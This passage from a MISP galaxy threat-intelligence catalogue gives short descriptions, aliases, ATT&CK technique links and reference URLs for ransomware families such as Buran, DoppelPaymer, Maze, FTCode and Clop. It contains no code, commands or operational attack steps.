https://www.bleepingcomputer.com/news/security/three-more-ransomware-families-create-sites-to-leak-stolen-data/
https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware
https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/
https://www.fortinet.com/blog/threat-research/nemty-ransomware-early-stage-threat.html
https://www.lastline.com/labsblog/nemty-ransomware-scaling-up-apac-mailboxes-swarmed-dual-downloaders/
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/nemty-ransomware-learning-by-doing/
https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/paas-or-how-hackers-evade-antivirus-software/
https://www.sentinelone.com/labs/karma-ransomware-an-emerging-threat-with-a-hint-of-nemty-pedigree/
https://www.sentinelone.com/labs/nokoyawa-ransomware-new-karma-nemty-variant-wears-thin-disguise/
https://www.symantec.broadcom.com/hubfs/SED/SED_Threat_Hunter_Reports_Alerts/SED_FY22Q2_SES_Ransomware-Threat-Landscape_WP.pdf
https://www.tesorion.nl/en/posts/nemty-update-decryptors-for-nemty-1-5-and-1-6/
https://www.tesorion.nl/nemty-update-decryptors-for-nemty-1-5-and-1-6/
https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf
https://www.ransomlook.io/group/nemty

Buran

Buran is a new version of the Vega ransomware strain (a.k.a. Jamper, Ghost, Buhtrap) that attacked accountants from February through April 2019. The new Buran ransomware first was discovered by nao_sec in June 2019, delivered by the RIG Exploit Kit, as reported by BleepingComputer.

The tag is: *misp-galaxy:ransomware="Buran"*

Table 13576. Table References

Links

https://www.acronis.com/en-us/blog/posts/meet-buran-new-delphi-ransomware-delivered-rig-exploit-kit

Hildacrypt

The Hildacrypt ransomware encrypts the victim's files with a strong encryption algorithm and the filename extension .hilda until the victim pays a fee to get them back.

The tag is: *misp-galaxy:ransomware="Hildacrypt"*

Table 13577. Table References

Links
https://securitynews.sonicwall.com/xmlpost/hildacrypt-ransomware-actively-spreading-in-the-wild/

Mr.Dec

Mr. Dec ransomware is cryptovirus that was first spotted in mid-May 2018, and since then was updated multiple times. The ransomware encrypts all personal data on the device with the help of AES encryption algorithm and appends .[ID]random 16 characters[ID] file extension, preventing from their further usage.

The tag is: *misp-galaxy:ransomware="Mr.Dec"*

Mr.Dec is also known as:

- MrDec
- Sherminator

Table 13578. Table References

Links
https://www.2-spyware.com/remove-mr-dec-ransomware.html
https://id-ransomware.blogspot.com/2018/05/mrdec-ransomware.html

Freeme

Freezing crypto ransomware encrypts user data using AES, and then requires a ransom in # BTC to return the files. Original title: not indicated in the note. The file says: FreeMe.exe

The tag is: *misp-galaxy:ransomware="Freeme"*

Freeme is also known as:

- Freezing

Table 13579. Table References

Links
http://id-ransomware.blogspot.com/2019/06/freeme-freezing-ransomware.html

DoppelPaymer

We have dubbed this new ransomware DoppelPaymer because it shares most of its code with the BitPaymer ransomware operated by INDRIK SPIDER. However, there are a number of differences between DoppelPaymer and BitPaymer, which may signify that one or more members of INDRIK SPIDER have split from the group and forked the source code of both Dridex and BitPaymer to start their own Big Game Hunting ransomware operation.

The tag is: *misp-galaxy:ransomware="DoppelPaymer"*

DoppelPaymer is also known as:

- Pay OR Grief
- BitPaymer
- IEncrypt
- FriedEx

Table 13580. Table References

Links
https://www.crowdstrike.com/blog/doppelpaymer-ransomware-and-dridex-2/
https://malpedia.caad.fkie.fraunhofer.de/details/win.doppelpaymer
https://aithority.com/security/doppelpaymer-ransomware-attack-sinks-a-global-motor-companys-20-million
https://www.zscaler.com/blogs/security-research/doppelpaymer-continues-cause-grief-through-rebranding
http://www.secureworks.com/research/threat-profiles/gold-heron
https://apnews.com/article/virus-outbreak-elections-georgia-voting-2020-voting-c191f128b36d1c0334c9d0b173daa18c
https://blog.chainalysis.com/reports/ransomware-connections-maze-egregor-suncrypt-doppelpaymer
https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf
https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf
https://i.blackhat.com/eu-20/Wednesday/eu-20-Clarke-Its-Not-FINished-The-Evolving-Maturity-In-Ransomware-Operations-wp.pdf

https://i.blackhat.com/eu-20/Wednesday/eu-20-Clarke-Its-Not-FINished-The-Evolving-Maturity-In-Ransomware-Operations.pdf

https://intel471.com/blog/ransomware-attack-access-merchants-infostealer-escrow-service/

https://ke-la.com/how-ransomware-gangs-find-new-monetization-schemes-and-evolve-in-marketing/

https://ke-la.com/to-attack-or-not-to-attack-targeting-the-healthcare-sector-in-the-underground-ecosystem/

https://ke-la.com/zooming-into-darknet-threats-targeting-jp-orgs-kela/

https://killingthebear.jorgetesta.tech/actors/evil-corp

https://krebsonsecurity.com/2021/08/ransomware-gangs-and-the-name-game-distraction/

https://lifars.com/wp-content/uploads/2022/01/GriefRansomware_Whitepaper-2.pdf

https://medium.com/s2wlab/operation-synctrek-e5013df8d167

https://public.intel471.com/blog/ransomware-as-a-service-2020-ryuk-maze-revil-egregor-doppelpaymer/

https://redcanary.com/blog/grief-ransomware/

https://sites.temple.edu/care/ci-rw-attacks/

https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf

https://techcrunch.com/2020/03/01/visser-breach/

https://twitter.com/AltShiftPrtScn/status/1385103712918642688

https://twitter.com/BrettCallow/status/1453557686830727177?s=20

https://twitter.com/vikas891/status/1385306823662587905

https://vulnerability.ch/2021/04/ransomware-and-date-leak-site-publication-time-analysis/

https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf

https://www.armor.com/resources/threat-intelligence/the-evolution-of-doppel-spider-from-bitpaymer-to-grief-ransomware/

https://www.bleepingcomputer.com/news/security/doppelpaymer-ransomware-launches-site-to-post-victims-data/

https://www.bleepingcomputer.com/news/security/fake-microsoft-teams-updates-lead-to-cobalt-strike-deployment/

https://www.bleepingcomputer.com/news/security/foxconn-electronics-giant-hit-by-ransomware-34-million-ransom/

https://www.bleepingcomputer.com/news/security/laptop-maker-compal-hit-by-ransomware-17-million-demanded/

https://www.bleepingcomputer.com/news/security/ransomware-attackers-use-your-cloud-backups-against-you/

https://www.bleepingcomputer.com/news/security/three-more-ransomware-families-create-sites-to-leak-stolen-data/

https://www.cert.ssi.gouv.fr/cti/CERTFR-2021-CTI-009/

https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-008.pdf

https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-009.pdf

https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1

https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1/

https://www.crowdstrike.com/blog/how-big-game-hunting-ttps-shifted-after-darkside-pipeline-attack/

https://www.crowdstrike.com/blog/how-doppelpaymer-hunts-and-kills-windows-processes/

https://www.fireeye.com/blog/threat-research/2020/07/financially-motivated-actors-are-expanding-access-into-ot.html

https://www.heise.de/news/Uniklinik-Duesseldorf-Ransomware-DoppelPaymer-soll-hinter-dem-Angriff-stecken-4908608.html

https://www.hornetsecurity.com/en/security-informationen-en/leakware-ransomware-hybrid-attacks/

https://www.ic3.gov/Media/News/2020/201215-1.pdf

https://www.mandiant.com/resources/financially-motivated-actors-are-expanding-access-into-ot

https://www.mandiant.com/resources/unc2165-shifts-to-evade-sanctions

https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/

https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-ransomware-threat-report-2021.pdf

https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html

https://www.secureworks.com/research/threat-profiles/gold-heron

https://www.symantec.broadcom.com/hubfs/SED/SED_Threat_Hunter_Reports_Alerts/SED_FY22Q2_SES_Ransomware-Threat-Landscape_WP.pdf

https://www.trendmicro.com/en_us/research/21/a/an-overview-of-the-doppelpaymer-ransomware.html

https://www.zdnet.com/article/ransomware-gang-says-it-breached-one-of-nasas-it-contractors/

https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/

http://www.secureworks.com/research/threat-profiles/gold-drake

https://assets.sentinelone.com/sentinellabs/sentinellabs_EvilCorp

https://blog.trendmicro.com/trendlabs-security-intelligence/account-with-admin-privileges-abused-to-install-bitpaymer-ransomware-via-psexec

https://blog.trendmicro.com/trendlabs-security-intelligence/ursnif-emotet-dridex-and-bitpaymer-gangs-linked-by-a-similar-loader/
https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_1_tamada-yamazaki-nakatsuru_en.pdf
https://nakedsecurity.sophos.com/2018/09/11/the-rise-of-targeted-ransomware/
https://www.bleepingcomputer.com/news/security/new-evil-corp-ransomware-mimics-payloadbin-gang-to-evade-us-sanctions/
https://www.blueliv.com/cyber-security-and-cyber-threat-intelligence-blog-blueliv/research/everis-bitpaymer-ransomware-attack-analysis-dridex/
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-001.pdf
https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware
https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/
https://www.crowdstrike.com/blog/hades-ransomware-successor-to-indrik-spiders-wastedlocker/
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/csi-evidence-indicators-for-targeted-ransomware-attacks/
https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf
https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf
https://www.secureworks.com/research/threat-profiles/gold-drake
https://www.sentinelone.com/wp-content/uploads/2022/02/S1_-SentinelLabs_SanctionsBeDamned_final_02.pdf
https://www.welivesecurity.com/2018/01/26/friedex-bitpaymer-ransomware-work-dridex-authors/
https://www.youtube.com/watch?v=LUxOcpIRxmg
https://www.ransomlook.io/group/doppelpaymer

Desync

This crypto ransomware encrypts enterprise LAN data with AES (ECB mode), and then requires a ransom in # BTC to return the files.

The tag is: *misp-galaxy:ransomware="Desync"*

Table 13581. Table References

Links
https://id-ransomware.blogspot.com/2019/01/unnamed-desync-ransomware.html

Maze

Maze Ransomware encrypts files and makes them inaccessible while adding a custom extension containing part of the ID of the victim. The ransom note is placed inside a text file and an htm file. There are a few different extensions appended to files which are randomly generated.

The tag is: *misp-galaxy:ransomware="Maze"*

View relationships graph

Maze has relationships with:

- related-to: misp-galaxy:ransomware="Ragnar Locker" with estimative-language:likelihood-probability="likely"

Table 13582. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.maze
https://www.bleepingcomputer.com/news/security/maze-ransomware-now-delivered-by-spelevo-exploit-kit/
https://www.proofpoint.com/us/threat-insight/post/ta2101-plays-government-imposter-distribute-malware-german-italian-and-us
https://techcrunch.com/2020/11/02/maze-ransomware-group-shutting-down
https://www.fireeye.com/blog/threat-research/2020/05/tactics-techniques-procedures-associated-with-maze-ransomware-incidents.html
http://www.secureworks.com/research/threat-profiles/gold-village
https://adversary.crowdstrike.com/adversary/twisted-spider/
https://analyst1.com/blog/ransom-mafia-analysis-of-the-worlds-first-ransomware-cartel
https://analyst1.com/file-assets/RANSOM-MAFIA-ANALYSIS-OF-THE-WORLD%E2%80%99S-FIRST-RANSOMWARE-CARTEL.pdf
https://blog.chainalysis.com/reports/ransomware-connections-maze-egregor-suncrypt-doppelpaymer
https://blog.minerva-labs.com/egregor-ransomware-an-in-depth-analysis
https://blog.redteam.pl/2020/05/sodinokibi-revil-ransomware.html
https://blog.sensecy.com/2020/08/20/global-ransomware-attacks-in-2020-the-top-4-vulnerabilities/
https://blog.talosintelligence.com/2019/12/IR-Lessons-Maze.html
https://blog.talosintelligence.com/2020/09/CTIR-quarterly-trends-Q4-2020.html
https://blog.talosintelligence.com/2020/12/quarterly-ir-report-fall-2020-q4.html
https://blogs.quickheal.com/maze-ransomware-continues-threat-consumers/
https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf
https://cti-league.com/wp-content/uploads/2021/02/CTI-League-Darknet-Report-2021.pdf
https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3
https://download.bitdefender.com/resources/files/News/CaseStudies/study/318/Bitdefender-TRR-Whitepaper-Maze-creat4351-en-EN-GenericUse.pdf

https://download.microsoft.com/download/f/8/1/f816b8b6-bee3-41e5-b6cc-e925a5688f61/Microsoft_Digital_Defense_Report_2020_September.pdf

https://github.com/albertzsigovits/malware-notes/blob/master/Maze.md

https://github.com/albertzsigovits/malware-notes/blob/master/Ransomware/Maze.md

https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf

https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf

https://id-ransomware.blogspot.com/2019/05/chacha-ransomware.html

https://intel471.com/blog/conti-ransomware-cooperation-maze-lockbit-ragnar-locker

https://ke-la.com/how-ransomware-gangs-find-new-monetization-schemes-and-evolve-in-marketing/

https://ke-la.com/to-attack-or-not-to-attack-targeting-the-healthcare-sector-in-the-underground-ecosystem/

https://ke-la.com/zooming-into-darknet-threats-targeting-jp-orgs-kela/

https://killbit.medium.com/applying-the-diamond-model-to-cognizant-msp-and-maze-ransomware-and-a-policy-assessment-498f01bd723f

https://krebsonsecurity.com/2019/12/ransomware-gangs-now-outing-victim-businesses-that-dont-pay-up/

https://krebsonsecurity.com/2021/08/ransomware-gangs-and-the-name-game-distraction/

https://labs.sentinelone.com/case-study-catching-a-human-operated-maze-ransomware-attack-in-action/

https://labs.sentinelone.com/enter-the-maze-demystifying-an-affiliate-involved-in-maze-snow/

https://media-exp1.licdn.com/dms/document/C4E1FAQHyhJYCWxq5eg/feedshare-document-pdf-analyzed/0?e=1584129600&v=beta&t=9wTDR-mZPDF4ET7ABNgE2ab9g8e9wxQrhXsxI1cSX8U

https://nakedsecurity.sophos.com/2020/06/04/nuclear-missile-contractor-hacked-in-maze-ransomware-attack/

https://news.sophos.com/en-us/2020/05/12/maze-ransomware-1-year-counting/

https://news.sophos.com/en-us/2020/09/17/maze-attackers-adopt-ragnar-locker-virtual-machine-technique/

https://news.sophos.com/en-us/2020/09/22/mtr-casebook-blocking-a-15-million-maze-ransomware-attack/

https://news.sophos.com/en-us/2020/12/08/egregor-ransomware-mazes-heir-apparent/

https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/

https://oag.ca.gov/system/files/Letter%204.pdf

https://public.intel471.com/blog/ransomware-as-a-service-2020-ryuk-maze-revil-egregor-doppelpaymer/

https://research.checkpoint.com/2020/graphology-of-an-exploit-playbit/

https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/543/original/CTIR_casestudy_1.pdf

https://securelist.com/maze-ransomware/99137/

https://securelist.com/targeted-ransomware-encrypting-data/99255/

https://securityaffairs.co/wordpress/127826/malware/egregor-sekhmet-decryption-keys.html

https://sites.temple.edu/care/ci-rw-attacks/

https://statescoop.com/baltimore-ransomware-crowdstrike-extortion/

https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf

https://techcrunch.com/2020/03/26/chubb-insurance-breach-ransomware/

https://therecord.media/darkside-gang-estimated-to-have-made-over-90-million-from-ransomware-attacks/

https://therecord.media/ransomwhere-project-wants-to-create-a-database-of-past-ransomware-payments/

https://twitter.com/certbund/status/1192756294307995655

https://us-cert.cisa.gov/ncas/alerts/aa20-345a

https://web.archive.org/save/https://news.cognizant.com/2020-04-18-cognizant-security-update

https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf

https://www.accenture.com/us-en/blogs/cyber-defense/evolving-danger-ransomware-extortion

https://www.bitdefender.com/files/News/CaseStudies/study/377/Bitdefender-Whitepaper-WMI-creat4871-en-EN-GenericUse.pdf

https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/wp-spark-state-of-ransomware.pdf

https://www.bleepingcomputer.com/news/security/allied-universal-breached-by-maze-ransomware-stolen-data-leaked/

https://www.bleepingcomputer.com/news/security/chipmaker-maxlinear-reports-data-breach-after-maze-ransomware-attack/

https://www.bleepingcomputer.com/news/security/crytek-confirms-egregor-ransomware-attack-customer-data-theft/

https://www.bleepingcomputer.com/news/security/darkside-ransomware-made-90-million-in-just-nine-months/

https://www.bleepingcomputer.com/news/security/data-leak-marketplaces-aim-to-take-over-the-extortion-economy/

https://www.bleepingcomputer.com/news/security/it-services-giant-cognizant-suffers-maze-ransomware-cyber-attack/

https://www.bleepingcomputer.com/news/security/maze-ransomware-behind-pensacola-cyberattack-1m-ransom-demand/

https://www.bleepingcomputer.com/news/security/maze-ransomware-is-shutting-down-its-cybercrime-operation/

https://www.bleepingcomputer.com/news/security/maze-ransomware-now-encrypts-via-virtual-machines-to-evade-detection/

https://www.bleepingcomputer.com/news/security/maze-ransomware-releases-files-stolen-from-city-of-pensacola/

https://www.bleepingcomputer.com/news/security/ransomware-attackers-use-your-cloud-backups-against-you/

https://www.bleepingcomputer.com/news/security/ransomware-dev-releases-egregor-maze-master-decryption-keys/

https://www.bleepingcomputer.com/news/security/three-more-ransomware-families-create-sites-to-leak-stolen-data/

https://www.blueliv.com/cyber-security-and-cyber-threat-intelligence-blog-blueliv/escape-from-the-maze/

https://www.brighttalk.com/webcast/7451/408167/navigating-maze-analysis-of-a-rising-ransomware-threat

https://www.cert.ssi.gouv.fr/cti/CERTFR-2021-CTI-007/

https://www.cert.ssi.gouv.fr/cti/CERTFR-2021-CTI-009/

https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-001.pdf

https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-009.pdf

https://www.cityofpensacola.com/DocumentCenter/View/18879/Deloitte-Executive-Summary-PDF

https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1

https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1/

https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-2/

https://www.crowdstrike.com/blog/maze-ransomware-deobfuscation/

https://www.crowdstrike.com/blog/ransomware-preparedness-a-call-to-action/

https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/

https://www.docdroid.net/dUpPY5s/maze.pdf

https://www.domaintools.com/resources/blog/the-most-prolific-ransomware-families-a-defenders-guide

https://www.fireeye.com/blog/threat-research/2020/07/financially-motivated-actors-are-expanding-access-into-ot.html

https://www.fireeye.com/blog/threat-research/2021/02/melting-unc2198-icedid-to-ransomware-operations.html

https://www.hornetsecurity.com/en/security-informationen-en/leakware-ransomware-hybrid-attacks/

https://www.mandiant.com/resources/financially-motivated-actors-are-expanding-access-into-ot

https://www.mcafee.com/blogs/other-blogs/mcafee-labs/csi-evidence-indicators-for-targeted-ransomware-attacks-part-ii/

https://www.mcafee.com/blogs/other-blogs/mcafee-labs/ransomware-maze/
https://www.microsoft.com/security/blog/2020/04/28/ransomware-groups-continue-to-target-healthcare-critical-services-heres-how-to-reduce-risk/
https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself
https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-ransomware-threat-report-2021.pdf
https://www.proofpoint.com/us/blog/threat-insight/first-step-initial-access-leads-ransomware
https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf
https://www.secureworks.com/research/threat-profiles/gold-village
https://www.splunk.com/en_us/blog/security/gone-in-52-seconds-and-42-minutes-a-comparative-analysis-of-ransomware-encryption-speed.html
https://www.splunk.com/en_us/pdfs/resources/whitepaper/an-empirically-comparative-analysis-of-ransomware-binaries.pdf
https://www.telsy.com/wp-content/uploads/Maze_Vaccine.pdf
https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/conti-leaks-examining-the-panama-papers-of-ransomware.html
https://www.trendmicro.com/en_us/research/20/l/the-impact-of-modern-ransomware-on-manufacturing-networks.html
https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf
https://www.zataz.com/cyber-attaque-a-lencontre-des-serveurs-de-bouygues-construction/
https://www.zdnet.com/article/ransomware-gang-publishes-tens-of-gbs-of-internal-data-from-lg-and-xerox/
https://www.ransomlook.io/group/maze

Cyborg Ransomware

Ransomware delivered using fake Windows Update spam

The tag is: *misp-galaxy:ransomware="Cyborg Ransomware"*

Table 13583. Table References

Links
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/fake-windows-update-spam-leads-to-cyborg-ransomware-and-its-builder/

FTCode

A targeted email campaign has been spotted distributing the JasperLoader to victims. While the JasperLoader was originally used to then install Gootkit, Certego has observed it now being used to

infect victims with a new ransomware dubbed FTCODE. Using an invoice-themed email appearing to target Italian users, the attackers attempt to convince users to allow macros in a Word document. The macro is used to run PowerShell to retrieve additional PowerShell code.

The tag is: *misp-galaxy:ransomware="FTCode"*

Table 13584. Table References

Links
https://www.certego.net/en/news/malware-tales-ftcode/
https://exchange.xforce.ibmcloud.com/collection/FTCODE-Ransomware-45dacdc2d5cf30722ced20b9d37988c2
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.ftcode
https://www.ransomlook.io/group/ftcode

Clop

Observed for the first time in Febuary 2019, variant from CryptoMix Family, itself a variation from CryptXXX and CryptoWall family

The tag is: *misp-galaxy:ransomware="Clop"*

Clop is also known as:

- Cl0p

View relationships graph

Clop has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Clear Windows Event Logs - T1070.001" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1021.001" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Group Policy Modification - T1484.001" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Inhibit System Recovery - T1490" with estimative-

language:likelihood-probability="very-likely"

- uses: misp-galaxy:mitre-attack-pattern="External Remote Services - T1133" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Domain Accounts - T1078.002" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1566.002" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Automated Collection - T1119" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Protocol Tunneling - T1572" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Phishing - T1566" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:tactic="Privilege Escalation" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:tactic="Defense Evasion" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:tactic="Command and Control" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:tactic="Initial Access" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:tactic="Impact" with estimative-language:likelihood-probability="very-likely"

Table 13585. Table References

Links
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-001.pdf
https://www.microsoft.com/en-us/security/blog/2022/10/27/raspberry-robin-worm-part-of-larger-ecosystem-facilitating-pre-ransomware-activity/
https://blog.malwarebytes.com/malwarebytes-news/2021/02/clop-targets-execs-ransomware-tactics-get-another-new-twist
https://unit42.paloaltonetworks.com/clop-ransomware
https://actu.fr/normandie/rouen_76540/une-rancon-apres-cyberattaque-chu-rouen-ce-reclament-pirates_29475649.html
https://asec.ahnlab.com/en/19542/
https://asec.ahnlab.com/wp-content/uploads/2021/01/Analysis_ReportCLOP_Ransomware.pdf

https://blog.fox-it.com/2020/11/16/ta505-a-brief-history-of-their-time/

https://blog.sensecy.com/2020/08/20/global-ransomware-attacks-in-2020-the-top-4-vulnerabilities/

https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf

https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3

https://github.com/Tera0017/TAFOF-Unpacker

https://github.com/albertzsigovits/malware-notes/blob/master/Clop.md

https://github.com/albertzsigovits/malware-notes/blob/master/Ransomware/Clop.md

https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf

https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf

https://ke-la.com/how-ransomware-gangs-find-new-monetization-schemes-and-evolve-in-marketing/

https://krebsonsecurity.com/2021/06/ukrainian-police-nab-six-tied-to-clop-ransomware/

https://labs.sentinelone.com/breaking-ta505s-crypter-with-an-smt-solver/

https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/06/23093553/Common-TTPs-of-the-modern-ransomware_low-res.pdf

https://medium.com/@Sebdraven/unpacking-clop-416b83718e0f

https://medium.com/s2wlab/operation-synctrek-e5013df8d167

https://public.intel471.com/blog/ransomware-as-a-service-2020-ryuk-maze-revil-egregor-doppelpaymer/

https://securelist.com/modern-ransomware-groups-ttps/106824/

https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/clop-ransomware/

https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf

https://therecord.media/ukrainian-police-arrest-clop-ransomware-members-seize-server-infrastructure/

https://twitter.com/darb0ng/status/1338692764121251840

https://unit42.paloaltonetworks.com/clop-ransomware/

https://vulnerability.ch/2021/04/ransomware-and-date-leak-site-publication-time-analysis/

https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf

https://www.advanced-intel.com/post/adversarial-perspective-advintel-breach-avoidance-through-monitoring-initial-vulnerabilities

https://www.binance.com/en/blog/421499824684902240/Binance-Helps-Take-Down-Cybercriminal-Ring-Laundering-%24500M-in-Ransomware-Attacks

https://www.bleepingcomputer.com/news/security/clop-ransomware-gang-is-back-hits-21-victims-in-a-single-month/

https://www.bleepingcomputer.com/news/security/cryptomix-clop-ransomware-says-its-targeting-networks-not-computers/

https://www.bleepingcomputer.com/news/security/indiabulls-group-hit-by-clop-ransomware-gets-24h-leak-deadline/

https://www.bleepingcomputer.com/news/security/ransomware-gang-says-they-stole-2-million-credit-cards-from-e-land/

https://www.bleepingcomputer.com/news/security/ransomware-gang-urges-victims-customers-to-demand-a-ransom-payment/

https://www.bleepingcomputer.com/news/security/ta505-hackers-behind-maastricht-university-ransomware-attack/

https://www.bleepingcomputer.com/news/security/three-more-ransomware-families-create-sites-to-leak-stolen-data/

https://www.boho.or.kr/filedownload.do?attach_file_seq=2808&attach_file_id=EpF2808.pdf

https://www.bsi.bund.de/SharedDocs/Downloads/DE/BSI/Publikationen/Lageberichte/Lagebericht2020.pdf?blob=publicationFile&v=2

https://www.carbonblack.com/blog/cb-tau-threat-intelligence-notification-cryptomix-clop-ransomware-disables-startup-repair-removes-edits-shadow-volume-copies/

https://www.cert.ssi.gouv.fr/cti/CERTFR-2019-CTI-009/

https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf

https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-009.pdf

https://www.coveware.com/blog/ransomware-attack-vectors-shift-as-new-software-vulnerability-exploits-abound

https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware

https://www.crowdstrike.com/blog/how-big-game-hunting-ttps-shifted-after-darkside-pipeline-attack/

https://www.fireeye.com/blog/threat-research/2021/02/accellion-fta-exploited-for-data-theft-and-extortion.html

https://www.flashpoint-intel.com/blog/cl0p-and-revil-escalate-their-ransomware-tactics/

https://www.fsec.or.kr/common/proc/fsec/bbs/163/fileDownLoad/2297.do

https://www.hornetsecurity.com/en/security-information/clop-clop-ta505-html-malspam-analysis/

https://www.hornetsecurity.com/en/security-informationen-en/leakware-ransomware-hybrid-attacks/

https://www.mandiant.com/resources/financially-motivated-actors-are-expanding-access-into-ot

https://www.notion.so/S2W-LAB-Analysis-of-Clop-Ransomware-suspiciously-related-to-the-Recent-Incident-English-088056baf01242409a6e9f844f0c5f2e

